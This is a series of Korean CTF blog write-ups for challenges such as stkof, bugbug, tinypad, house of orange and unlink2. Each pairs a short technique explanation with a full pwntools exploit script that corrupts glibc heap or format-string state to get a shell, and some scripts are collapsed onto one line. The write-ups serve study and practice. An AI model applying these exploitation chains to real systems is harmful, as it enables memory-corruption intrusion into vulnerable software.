으 이것도 다시 보는데 너무 아쉬웠다.

뭔가 스킬 조합해서 데미지를 잘 줄수 있는 방법이 있을까해서

분석해보고있었다.

한 4개정도 분석하고 있었다.. 근데 레이스 컨디션이라는 의견이 나와서 이건 아닌가 하고 그냥 제껴서 던졌는데

7번 스킬 icesword가 그놈이었다.

이놈이 그다음 스킬의 인자를 -1로 만들어주는 놈이었던 거다


이거랑 race condition을 같이이용하면된다


아 나머지 다 분석해논 상태여서.. 이것만 봤더라도.. 난 바본가 보다ㅠㅠ

아쉽네 코드 짜봐야겠다.



샤샷~ 아쉽당 ~_~코드 정리중

'CTF' 카테고리의 다른 글

[asisctf]start hard  (0) 2017.04.12
[VolgaCTF]guessing_game 200pt  (8) 2017.03.25
[codegate17 prequal]hello protector  (0) 2017.02.12
[codegate17 prequal]messenger  (0) 2017.02.11
[codegate17 prequal]angrybird  (0) 2017.02.11

대회 때 제법 많은 팀들이 풀었길래 궁금해서 대회 끝나고 풀어봤다

리버싱+암호 문제였는데

리버싱도 익숙하지않고.. 암호공부를 열심히 안한터라.. 되게 오래 걸렸다

그래도 리버싱문제에 익숙해 지기 위해 분석을 끝까지 해봤다


먼저 문제는 themida packing이 되어있었다.

그냥 실행시키고 attach하면 패킹이 풀린 상태라서 그때 덤프를 뜨면 ida로 정적 분석이 가능했다.(vm이 없기 때문에 이렇게 쉽게 패킹이 까진다고 한다)

근데 덤프뜬 파일을 동적분석하려니 많이 깨져서(아마 헤더 문제가 아닌가 싶다)

동적분석은 attach시켜서 401000부터 실행하니까 코드가 안깨졌다.


까보면 c0nGr47uRaTioN!_Y0U_F0uNd_A_k3y!

라는 딱봐도 수상한 문자열이 있는데 이를 호출하는 곳으로 가보면 



이렇게 비교를 하는 부분이 있다.

0x403020을 reference하는 곳으로 따라가봤다(ida xref)





아무튼 가보면 

이런 루틴을 찾을 수 있다.


cl=[var_104]

[var_104]=[var_104]^[edi]

[key]=[key]^cl^[edi]


edi가 증가하고 있으므로 edi를 plain이라 추측한다


결론을 말하자면 CBC모드 암호화이다.

루틴은 그림과 같다 이상하지만 손아프게 그렸다.

식으로 나타내면 이런식

동적 분석을 해보면 0x403020에는 초기값 32바이트가 들어있다.

암호화의 key값이었다.


#routine

#r1=key[i]^ans[i]

#arr[i]=r1^ans[i-1]


복호화 코드는 그래서 이렇게 짤수 있다.

for i,a in enumerate(arr):

ans[i]=int(key[i],16)^ord(arr[i])

for i in range(32,0,-1):

ans[i]^=ans[i-1]


전체 코드


key='37 06 10 66 3A 38 50 4D 02 01 63 01 36 63 53 7F 4A 62 4B 2D 4D 64 76 7D 25 75 5E 6E 74 0C 7C 18'.split()
arr='c0nGr47uRaTioN!_Y0U_F0uNd_A_k3y!'
ans=[0]*33
out=''
print(len(arr))
for i in range(len(key)):
	key[i]='0x'+key[i]
for i,a in enumerate(arr):
	ans[i]=int(key[i],16)^ord(arr[i])
	#print(hex(ans[i+1]))
for i in range(32,0,-1):	
	ans[i]^=ans[i-1]

for i in range(0,32):
	out+=chr(ans[i])
print(out)
#routine
#r1=key[i]^ans[i]
#arr[i]=r1^ans[i-1]
#TbH_iDk_h0W_1T_R3AlLy_W0rk5.. :<'



'CTF' 카테고리의 다른 글

[VolgaCTF]guessing_game 200pt  (8) 2017.03.25
[codegate 2017 prequal]hunting  (0) 2017.02.13
[codegate17 prequal]messenger  (0) 2017.02.11
[codegate17 prequal]angrybird  (0) 2017.02.11
[HITCON2014]stkof  (0) 2017.02.07
하.. 이건 사연이 많다..
먼저

malloc과 free가 usercode로 프로그래밍 되어 있었다.

분석해서 free에서 unlink코드가 있다는 걸 알아냈고, 채팅방에 말했다.

heap 릭은 message수정할때 사이즈 체크를 안해서 따올 수 있었는데, 내가 분석할 동안 그부분부터 짜던

친구가 나보다 먼저 익스를 짜버렸다.. 이치에 맞긴 하지만 좀 속상했다....본선은 못갈듯 싶다



그 친구는 got에 쉘코드 주소를 올렸지만 

(heap에 실행권한)


나는 messenger heap주소가 잇는 bss에 exit_got를 올리고

libc릭한다음

exec_comm으로 원콤 내려했다.

릭까지하고 exec_comm 주소 찾고 있었는데,,

속상해서 멈췃다 암튼 익스 거기 까지 짰다. 못보겠다. ㅎㅣㅇ





from pwn import *
#raw_input()
import time
def leave(size,message):
	p.sendline('L')
	p.recvuntil('size : ')
	p.sendline(str(size))
	p.recvuntil('msg : ')
	p.sendline(message)
def remove(ind):
	p.sendline('R')
	p.recvuntil('index : ')
	p.sendline(str(ind))
def change(ind,size,message):
	p.sendline('C')
	#time.sleep(1)
	p.recvuntil('index')
	p.sendline(str(ind))
	#p.interactive()
	p.recvuntil('size')
	p.sendline(str(size))
	p.recvuntil('msg : ')
	p.send(message)

p=process('./messenger')
raw_input()
leave(10,'AAAA')
p.recvuntil('>>')
leave(30,'BBBB')
p.recvuntil('>>')
change(0,32,'A'*32)
p.recvuntil('>>')
p.sendline('V')
p.recvuntil('index')
p.sendline('0')
p.recvuntil('A'*32)
heapleak=u64(p.recv(4).ljust(8,'\x00'))
print hex(heapleak)
s=''
s+=p64(1)*3
s+=p64(0x90909090)
puts_got=0x0602018
s+=p64(0x6020c0-16)
s+=p64(puts_got)	#message1

change(0,48,s)
remove(1)
p.recvuntil('>>')
p.sendline('V')
p.recvuntil('index')
p.sendline('0')
print p.recv(6)

libcleak=u64(p.recv(6).ljust(8,'\x00'))

print hex(libcleak)

p.interactive()






자투리 대회 후기..

왤케 푼 문제들이 다 타이밍이 어긋나는지..ㅠㅠㅠ 결국은 아무것도 못푼 셈이 되버렸다..

그래도 행운은 보존된다고 했으니 다음에 더 큰 기회가 찾아 올것이고 더 공부 재밋게 또 열심히 해서 꽉 잡으면  될 것같다!

결과는 무시무시한 선배님들의 캐리로 대학생부 5등으로 마무리했다. 참 어찌 그리 잘하는지.. 신기하고 자랑스럽기도 하고 존경스럽기도 하고 이기고 싶기도 하고..

속상한데 교훈은 많다.. 뭔가 ctf를 넘어선 인생교훈..?

아무튼 결론은 타이밍이나 엉뚱한 이유로 묻히는 것 역시 결국 실력 부족이니 앞으로 더 열심히 해야겠다.


'CTF' 카테고리의 다른 글

[codegate 2017 prequal]hunting  (0) 2017.02.13
[codegate17 prequal]hello protector  (0) 2017.02.12
[codegate17 prequal]angrybird  (0) 2017.02.11
[HITCON2014]stkof  (0) 2017.02.07
[codegate2016]bugbug  (0) 2017.02.02

angr을 이용한 문제였다. 

더럽게 길어서 오래걸리길래 처음에 안되는줄 알고 계속 인터럽트 걸어서 이상한데서 삽질햇다. 


ㅠ 선배님이 잘 안된다고 던져서 주섬주섬 주워서 풀고 있었는데 코드 짜고 테스트하던 찰나에 플래그를 따오셔서 좀 아쉬웠다.



import angr
project = angr.Project("./angrybird", load_options={'auto_load_libs':False})

s = project.factory.blank_state(addr=0x4007DA)
v = s.se.BVS('key', 100*8)
s.memory.store(0x606070, v)
rbp=s.regs.rbp
s.regs.rbp=0x606070+0x50+0x20
print s.regs.rbp
s.regs.rsp=s.regs.rbp-0x80
#s.regs.rsp=s.regs.rbp
#s.memory.store(s.regs.rsp, s.se.BVV(0, 8*0x100))
s.memory.store(s.regs.rbp, s.se.BVV(0, 8*0x100))
initpath = project.factory.path(state=s)
#ex = project.surveyors.Explorer( start=initpath, find=(0x404FAB))
#ex.run()
#print ex.found[0].state.se.any_str( ex.found[0].state.memory.load(0x606070, 21))

pg = project.factory.path_group(s)
target=0x404fab
target=0x400875
target=0x404f7c
#target=0x40084c
#target=0x4008cd
#target=0x40217e
def step_func(pg):
    pg.drop(filter_func = lambda path: path.addr == 0x4005E0)
    pg.stash(filter_func = lambda path: path.addr == target, from_stash='active', to_stash='found')
    return pg
pg.step(step_func = step_func, until = lambda pg: len(pg.found) > 0)
f = pg.found[0]
print f
cert = f.state.se.any_str(v)
print cert.encode('hex')
#print f.state.se.any_str( pg.found[0].state.memory.load(0x606070, 21))


'CTF' 카테고리의 다른 글

[codegate17 prequal]hello protector  (0) 2017.02.12
[codegate17 prequal]messenger  (0) 2017.02.11
[HITCON2014]stkof  (0) 2017.02.07
[codegate2016]bugbug  (0) 2017.02.02
[SECCON 2016]tinypad  (0) 2017.01.18


heap주소가 bss영역에 있고 약간의 오버플로우나 헤더조작이 가능하다면 

unsafe_unlink를 적극이용하자


from pwn import * import time p=process('/hee/hee/stkof') lib=ELF('/lib/x86_64-linux-gnu/libc.so.6') bin=ELF('/hee/hee/stkof') raw_input() def mal(size): p.sendline('1') p.sendline(str(size)) print "mal",p.recvuntil('OK') def fre(ind): #p.interactive() p.sendline('3') #p.interactive() p.sendline(str(ind)) #print "free",p.recv(8) print "free",p.recvuntil('OK') def mod(ind,content): p.sendline('2') p.sendline(str(ind)) p.sendline(str(len(content)+1)) p.sendline(content) print "mod",p.recvuntil('OK') bss=0x602140 mal(0x80) mal(0x80) mal(0x80) mal(0x80) s='' s+=p64(0)*2 s+=p64(0x602150-0x18) #fd(8) s+=p64(0x602150-0x10) #bk s+='A'*0x60 s+=p64(0x80) s+=p64(0x90) mod(2,s) #print p.recvuntil('FAIL') fre(3) s='A'*0x10 s+=p64(bin.got['strlen']) s+=p64(0x602158) s+=p64(bin.got['fgets']) s+=p64(0x602168) s+='/bin/sh\x00' mod(2,s) mod(1,p64(bin.plt['printf'])) p.sendline('4') p.sendline('3') #p.interactive() p.recv(1) leak=u64(p.recv(6).ljust(8,'\x00')) system=leak-163504 print hex(leak) print hex(system) mod(1,p64(system)) p.sendline('4') p.sendline('4') p.interactive()


'CTF' 카테고리의 다른 글

[codegate17 prequal]messenger  (0) 2017.02.11
[codegate17 prequal]angrybird  (0) 2017.02.11
[codegate2016]bugbug  (0) 2017.02.02
[SECCON 2016]tinypad  (0) 2017.01.18
[HITCON CTF Qual 2016]house of orange  (0) 2017.01.18

name을 꽉채워서 주면 null byte off?(용어가 맞는지 모르겟다..ㅡ_) 로 seed값이 overflow된다

이를 이용해서 random함수 c코드를 짜서 lotto값을 구했다.

그이후 fsb가 있었고

pwntool의 fmtstr_payload를 이용해 payload를 짯다

첫번째 name에서

libc를 릭하고 exit@got를 main으로 overwrite한후

두번째 name에서

name앞에 /bin/sh;를 붙이고 printf@got->system exit@got->0x8048966 으로 주어서 

쉘을 실행시켰다.


***

.text:08048966                 lea     eax, [ebp+name]

.text:08048969                 push    eax             ; format

.text:0804896A                 call    _printf

***


pwnlib.fmtstr.fmtstr_payload(offsetwritesnumbwritten=0write_size='byte') → str[source]

Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits

Parameters:
  • offset (int) – the first formatter’s offset you control
  • writes (dict) – dict with addr, value {addr: value, addr2: value2}
  • numbwritten (int) – number of byte already written by the printf function
  • write_size (str) – must be byteshort or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)


나는 random함수를 c로 짯는데 다음과 같은 방법도 있다.

1. seed를 인자로 받는 random프로그램을 을 c로 구현

2. forsee이용 

foresee = process(('foresee glibc rand -s %d -c 200' % seed).split()).recvall()

foresee = list(map(int, foresee.split()))

foresee[0], foresee[1]

3. ctypes이용 

from ctypes import cdll

libc=cdll.LoadLibrary('libc.so.6')

libc.srand(seed)

libc.rand()


## 서버 라이브러리 주소 알아내는법 ##


서버의 라이브러리를 알아내는 도구로 https://github.com/niklasb/libc-database을 이용했습니다.

root@ubuntu:~/libc-database# ./find printf 150
ubuntu-wily-i386-libc6 (id libc6_2.21-0ubuntu4.1_i386)
root@ubuntu:~/libc-database# ./find __libc_start_main_ret 73e
ubuntu-wily-i386-libc6 (id libc6_2.21-0ubuntu4.1_i386)
root@ubuntu:~/libc-database# ./dump libc6_2.21-0ubuntu4.1_i386 system str_bin_sh
offset_system = 0x0003b180
offset_str_bin_sh = 0x15f61b


출처 : http://hacklab.kr/?p=891


ex.py


from pwn import * import os exit_got=0x0804A024 printf_plt=0x080484B0 printf_got=0x0804A010 main=0x804878C p=process('./bugbug') raw_input() #0x804883d p.recvuntil('you?') name="%47$pAAA" name+=fmtstr_payload(19,{exit_got: main},numbwritten=13) name=name.ljust(0x63, 'b') + 'c' #print name p.sendline(name) #p.interactive() p.recvuntil('Hello~ '+name) ptr=p.recv(4) ptr=u32(ptr) print "seed : ",ptr lotto=os.popen('./bbrand {}'.format(ptr)).read() print lotto for i in range(6): p.sendline(lotto[2*i:2*i+2]) p.recvuntil('Congratulation, ') libc_start=p.recv(10) system=int(libc_start,16)+141434 print "libc_start :",libc_start print "system :",hex(system) p.recvuntil('you?') name='/bin/sh;' name+=fmtstr_payload(19,{exit_got:0x08048966,printf_got:system},numbwritten=8,write_size='short') print "length",len(name) name=name.ljust(0x62,' ')+'ab' print "length",len(name) p.sendline(name) p.recvuntil('ab') ptr=p.recv(4) ptr=u32(ptr) print "seed2 : ",ptr lotto2=os.popen('./bbrand {}'.format(ptr)).read() print "lotto2 : ",lotto p.recvuntil('==> ') for i in range(6): p.sendline(lotto2[2*i:2*i+2]) p.interactive()


'CTF' 카테고리의 다른 글

[codegate17 prequal]angrybird  (0) 2017.02.11
[HITCON2014]stkof  (0) 2017.02.07
[SECCON 2016]tinypad  (0) 2017.01.18
[HITCON CTF Qual 2016]house of orange  (0) 2017.01.18
[christmas ctf]house of daehee  (0) 2017.01.17

총 4개까지 저장할 수 있는 notepad기능을 하는 바이너리이고

bss 영역의 tinypad라는 배열에 저장을 하는데

구조는 다음과 같다


tinypad

0x00 <- edit : *malloc


0x100 size(8) (256>=size>=1)

*malloc(size)(8)


0x110



0x120



0x130



tinypad에서 노트의 내용을 출력할때는
malloc주소가 들어간 위치가 null바이트인지 확인하고 null byte가 아니면 출력하지만

노트를 delete할때는 그부분에 null바이트로 채워주지 않는다
여기서 uaf가 발생하는데

unsorted bin을 이용해서 libc주소가 출력되게 해보자
small bin을 4개 할당한후
3번을 먼저 free하면 3->fd,bk는 mainarena+88을 가리키게 된다(libc)
그후 1번을 free하면 unlink에 의해 1->fd가 3번을 가리키게 되서 heap도 leak이 가능하다

그다음 poison of nullbyte(house_of_einherjar)로 stack leak(libc_argv나 libc_environ 이용)과 overwrite가 가능한데
stack의 main의 ret자리에 
execv('/bin/sh')하는 libc의 주소를 넣으면 된다. 

fake chunk를 만들어 줄때는 병합을 막기위해 prev_inuse=1로 만들어주는 것과
fake bin을 다시 malloc할때 메모리공간을 남겨서 그부분이 병합되지 않게 fake bin과 같은 size로 malloc해주는 것에 유의해야한다.

ex.py




from pwn import *
import time

p=process('/hee/tinypad')
raw_input()
def add(len,memo):
	p.sendline('A')
	p.recvuntil('(SIZE)>>>')
	p.sendline(str(len))
	p.recvuntil('(CONTENT)>>>')
	p.sendline(memo)
	time.sleep(0.2)

def fdel(index):
	p.sendline('D')
	p.recvuntil('(INDEX)>>>')
	p.sendline(str(index))
	time.sleep(0.2)

def edit(index,content):
	p.sendline('E')
	p.recvuntil('(INDEX)>>>')
	p.sendline(str(index))
	p.recvuntil('(CONTENT)>>>')
	p.sendline(content)
	p.recvuntil('(Y/n)')
	p.sendline('Y')
	time.sleep(0.1)
def show():
	p.recvuntil('CONTENT: ')
	print "1\n",p.recvuntil('+'),"------------"
	p.recvuntil('CONTENT: ')
        print "2\n",p.recvuntil('+'),"------------"
	p.recvuntil('CONTENT: ')
        print "3\n",p.recvuntil('+'),"------------"
	p.recvuntil('CONTENT: ')
        print "4\n",p.recvuntil('+'),"------------"

tinypad=0x602040

c='A'*0xe8+p64(0x50|0b001)+"B"*0x50
add(256,'Z'*0x100)
edit(1,c)
fdel(1)

add(200,'A')
add(200,'B')
add(200,'C')
add(200,'D')
fdel(3)
fdel(1)
#p.recvuntil('-----')
#p.interactive()
p.recvuntil('CONTENT: ')
leak1=u64(p.recv(4).ljust(8,'\x00'))
heap=leak1-0x1a0
print "heap leak : ",hex(heap)

p.recvuntil('CONTENT: ')
p.recvuntil('CONTENT: ')
leak2=u64(p.recv(6).ljust(8,'\x00'))
libc=leak2-0x203b58-2093056+0x200000-0x1000-0x195000
environ=libc+3780408
exec_comm=libc+878725

print "libc leak : ",hex(libc)
print "environ leak : ",hex(environ)
print "exec_comm : ",hex(exec_comm)

fdel(2)
fdel(4)

######### poison_null_byte #####################


add(136,'A'*136)	#1 0x88
add(256,'B'*256)	#2 0x100
add(128,'C'*100)	#3 0x80
#show()

fdel(2)
edit(1,'3'*136)	#null byte overflow
#show()

add(128,'b1')	#2 0x80
add(64,'b2')	#4 0x40

fdel(2)
fdel(3)		#consolidate with b1
fdel(4)		#b2 free

print "check!"
overwriteb2="F"*128+p64(0)+p64(0x50|0b001)+p64(0x602120)+p64(0)
add(len(overwriteb2),overwriteb2)	#0x100,2
add(64,'C'*0x40)			#3

fake='A'*0x10+p64(100)+p64(environ)+p64(0x88)+p64(0x602148)+2*p64(0)+p64(0x88)
add(len(fake),fake)			#4

p.recvuntil('CONTENT: ')
leak3=u64(p.recv(6).ljust(8,'\x00'))	#addr environ(stack)
ret=leak3-240
print "stack main ret : ",hex(ret)


edit(2,p64(ret))
edit(1,p64(exec_comm))
p.interactive()



'CTF' 카테고리의 다른 글

[HITCON2014]stkof  (0) 2017.02.07
[codegate2016]bugbug  (0) 2017.02.02
[HITCON CTF Qual 2016]house of orange  (0) 2017.01.18
[christmas ctf]house of daehee  (0) 2017.01.17
[9447-ctf-2015] search 230pt  (0) 2017.01.08

값은 잘 들어갓는데 memmory corruption에서 kali는 처리과정이 좀 다른가.. 쉘이 안뜬다..ㅠ

이유를 잘 모르겟다 ㅠ

아무튼 이문제 write up을 이해하는 것도 까다로웠다.

그만큼 아이디어가 신박하고,, low level의 해킹이었다.

수준급의 해킹을 하려면 libc에 대한 이해도가 높아야 할 듯싶다.


먼저 이 문제의 취약점은

upgrade에서 boundary check를 하지않아 heap overflow가 발생한다는 것이다.

그외에는 아무것도 없다..정말 아무것도


심지어 free함수도 사용하지 않는다.

그래서 sysmalloc을 이용한다.

heap overflow로 top chunk의 size를 덮어쓸수 있다.

top chunk의 size를 줄이고 사이즈가 top chunk보다 큰 chunk를 할당하면 top chunk의 크기를 늘리기 위해

sysmalloc을 호출하는데 sysmalloc에서 몇가지 조건이 만족되면 

assert ((old_top == initial_top (av) && old_size == 0) ||
  ((unsigned long) (old_size) >= MINSIZE &&
   prev_inuse (old_top) &&
   ((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

_int_free가 호출된다.

free된 bin은 unsorted bin으로 들어가고

다음 malloc을 이용해서 이 unsorted bin(small bin)에 주솟값을 할당해 leak을 할수 있다.

여기서 libc와 heap이 모두 leak이 되고

마지막에 unsorted bin attack을 사용한다.

unsorted chunk가 할당이 될 때

unsorted chunk->bk->fd=unsorted chunk 이라는

과정을 거친다.

unsorted chunk->bk를 덮어써서 arbitrary overwrite attack이 가능하다.

이 공격을 memmory corruption에서 io_list_all 구조체를 덮어쓰는 공격을 수행한다.

memmory corruption에서 몇가지 assert를 통과하면 io_list_all의 vptr을 실행시키는데 이거를 노리면 된다.


!!정말 잘 쓴 writeup이다! 꽤많이 얻은 공부가 된것 같다.

http://4ngelboy.blogspot.kr/2016/10/hitcon-ctf-qual-2016-house-of-orange.html



from pwn import *
import time
p=process('./houseoforange')

def build(len,name,price):
	p.sendline('1')
	p.recvuntil('name :')
	p.sendline(str(len))
	p.recvuntil('Name :')
	p.sendline(name)
	p.recvuntil('Orange:')
	p.sendline(str(price))
	p.recvuntil('Orange:')
	p.sendline('1')
	time.sleep(0.2)

def see():
	p.sendline('2')
	time.sleep(0.2)

def upgrade(len,name,price):
	p.sendline('3')
	p.recvuntil('name :')
	p.sendline(str(len))
	p.recvuntil('Name:')
	p.sendline(name)
	p.recvuntil('Orange:')
	p.sendline(str(price))
	p.recvuntil('Orange:')
	p.sendline('1')
	time.sleep(0.2)

raw_input()
build(0x80,'AAAA',100)
upgrade(0xb1,'A'*0x94+p32(0x20)+p64(0)*2+p64(0xf31),100)
build(0x1000,'BBBB',100)		#sysmalloc -> _int_free
build(0x400,'C'*7,100)		#unsorted_bin ->leak
see()
p.recvuntil('CCCCCCC\n')
leak=u64(p.recv(6).ljust(8,'\x00'))
print hex(leak)
system=leak-0x7fd5878d710a+0x7fd58757d460-0x5e
io_list_all=system-0x7ffff7a7b460+0x7ffff7dd5500

print "system address :",hex(system)
print "io_list_all : ",hex(io_list_all)

upgrade(0x400,'D'*15,100)
see()
p.recvuntil('D'*14+'\n')
heap=u64(p.recv(6).ljust(8,'\x00'))-0x130
vtable=heap+0x670
print "heap leak: ",hex(heap)
print "vtable : ",hex(vtable)
fake_IO_FILE="/bin/sh\x00"+p64(0x61)	#fake file stream
fake_IO_FILE+=p64(1)+p64(io_list_all-0x10)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,"\x00")
fake_IO_FILE+=p64(heap+0x700-0xd0+0x8)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,"\x00")
fake_IO_FILE+=p64(1)

pay='D'*0x410
pay+=p32(0xaaaa)+p32(0x20)+p64(0)
pay+=fake_IO_FILE
pay+=p64(0)*2
pay+=p64(vtable)
pay+=p64(1)+p64(2)+p64(3)+p64(0)*3
pay+=p64(system)
upgrade(0x800,pay,100)
p.recvuntil(':')
p.sendline('1')


p.interactive()


'CTF' 카테고리의 다른 글

[codegate2016]bugbug  (0) 2017.02.02
[SECCON 2016]tinypad  (0) 2017.01.18
[christmas ctf]house of daehee  (0) 2017.01.17
[9447-ctf-2015] search 230pt  (0) 2017.01.08
[33c3ctf]babyfengshui  (0) 2017.01.06

unlink 문제였고 쉽게 arbitrary overwrite가 가능했다.

하지만 overwrite의 기회는 한번이고 무엇을 overwrite해야 할지 몰라서 헤맸던 문제

다른 writeup을 보고나서 다시 풀어보려고 한다.

두가지 방법이 있다.

memmory corruption이 일어나면 메모리가 abort되면서 _IO_flush_all_lockp 를 호출하는데 여기서

_IO_list_all이라는 전역변수를 _IO_FILE이라는 구조체 형태로 사용하게 된다.

이 함수에서 몇가지 조건을 맞춰주면 IO_FILE의 flag를 인자로 하는 vtable의 함수를 호출하는데 이부분을 system으로 덮어써주고 flag를 /bin/sh로 만든 fake structure을 만들어주고 _IO_list_all의 포인터를 overwrite하는 방법이다.


HITCON house_of_orange 에서 나온 기법인데 감탄스러웠다..


두번째 방법은 printf에서 stdout의 vptr을 참조하는데 stdout 구조체를 위와 같이 fake struct를 만들어 포인터를 overwrite하는 방법이다.


두번째 방법으로 짠 익스

printf에서 _IO_puts를 호출하고 여기서 stdout을 사용

stdout은 IO_stdout 구조체를 가리키는 포인터 이것을 덮어써줫음

중간에 구조체 값들 중에 값을 보존해야 하는 부분도 있었음 그걸 유의해서 짠 코드



from pwn import *
import re

p=process('/home/christmas1/unlink2')
#p=process('/tmp/shsh/unlink2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

system_off=libc.symbols['system']
rr=p.recv()
Aad=int(re.findall(r'0x[a-z,0-9]{12}',rr)[0],16)
Bad=int(re.findall(r'0x[a-z,0-9]{12}',rr)[1],16)
Cad=int(re.findall(r'0x[a-z,0-9]{12}',rr)[2],16)
systemadd=int(re.findall(r'0x[a-z,0-9]{12}',rr)[3],16)

libc_base=systemadd-system_off
print "A:",hex(Aad)
print "B:",hex(Bad)
print "C:",hex(Cad)
print "system : ",hex(systemadd)
a=systemadd+3661040
stdout=systemadd-0x7f9a6f1dc380+0x7f9a6f55b708
a=libc_base+0x3c5780

fake_IO_stdout='/bin/sh\x00'+p64(0x00)+p64(systemadd)+p64(0x00)*5+p64(0x00)*9+p64(a)+p64(0x00)*9+p64(Cad-0x28)


pay=""
pay+="A"*8
pay+=p64(0x00)
pay+=p64(Cad)
pay+=p64(stdout)
pay+=p64(0)
pay+=p64(0x21)
pay+=fake_IO_stdout

p.send(pay+'\n')
p.interactive()


'CTF' 카테고리의 다른 글

[SECCON 2016]tinypad  (0) 2017.01.18
[HITCON CTF Qual 2016]house of orange  (0) 2017.01.18
[9447-ctf-2015] search 230pt  (0) 2017.01.08
[33c3ctf]babyfengshui  (0) 2017.01.06
[SECCON 2016] pppppoxy  (0) 2016.12.29

search-bf61fbb8fa7212c814b2607a81a84adf




fastbin_dup_attack을 이용한 문제로 fastbin_dup_attack이 잘 이해가 안되서 보게 된 문제이다


처음엔 잘 이해가 안되고 별거 아닌줄 알았는데 알고보니 대단한 기법이었다. fastbin_dup_attack..


fastbin_dup_attack에 대해서 간략하게 설명하자면

fastbin은 다른 bin과는 달리 free chunk가 double_linked_list 가 아니라 그냥 linked_list로 되어있다.


free 청크 chain을 예를 들어 (a)->(b)->(a)-> ... 이런식으로 체인을 걸어놓으면(같은 청크가 중복될 수는 없다-> 에러발생)

첫번째 malloc에서 a에 조작하길 원하는 주소를 쓰고 b와 a를 차례로malloc하면 그다음으로 malloc될 주소는 조금 전에 a에 썻던 주소가 된다

그렇게 원하는 주소에서 fastbin의 조건(*a-4(혹은 -8)에서 size조건)만 만족해주면 에러 없이 arbitrary overwrite를 수행 할 수가 있다.


이 문제는 uaf 등을 이용해 stack과 libc주소를 leak한 후 fastbin_dup_attack으로 return주소에다가 pop edi, /bin/sh주소, system 주소 를 넣는 ROP를 수행하는 문제이다.


stack주소는 처음 메뉴 선택에서 입력이 48자로 제한되어있으나 48자를 꽉채워서 입력하면 마지막에 null처리가 안된다는 취약점을 이용하여 leak할 수 있다.


libc주소 leak

첫번째 방법 ) index sentence를 할 때 size만큼 malloc되고 단어 저장용으로 0x40바이트가 추가로 malloc되는 점과 delete 할때 단어는 내용을 지우지 않고 sentence만 memset을 하는데 \x00으로 덮게 되므로 heap의 첫바이트가 null이 아니면 search범위에 포함된다는 점을 이용 word가 malloc된 공간에 \x00으로 search를 하여 word공간을 free하고 이부분에 sentence를 malloc하여 word 부분을 overwrite할 수 있다. overwrite에 got주소를 넣어주고 이 sentence를 포함된 단어를 이용해 search하면 libc를 릭할 수 있다.


두번째 방법) fastbin이 아닌 smallbin이나 다른 bin은 첫번째 공간에 libc주소를 할당한다. sentence를 free하고 search로 print하면 바로 볼 수가 있다. (고 한다)


마지막 fastbin_dup_attack

우선 fastbin free chunk list를 만들어 준다. 

차례로 (c)-(b)-(a)-(b) 순으로 free해서

b에 overwrite하고자 하는 stack주소를 쓴다음 (a)와 (b)를 잘 덮고 마지막 stack에 할당될 malloc에 원하는 값(ROP chain)을 넣어주면된다.

fastbin의 성질을 만족하면서 eip가 도착하게 될 부분에 잘 덮으면 쉘을 딸 수 있다.


아래는 exploit


'CTF' 카테고리의 다른 글

[HITCON CTF Qual 2016]house of orange  (0) 2017.01.18
[christmas ctf]house of daehee  (0) 2017.01.17
[33c3ctf]babyfengshui  (0) 2017.01.06
[SECCON 2016] pppppoxy  (0) 2016.12.29
[SECCON2016]jmper writeup 300p  (0) 2016.12.13

+ Recent posts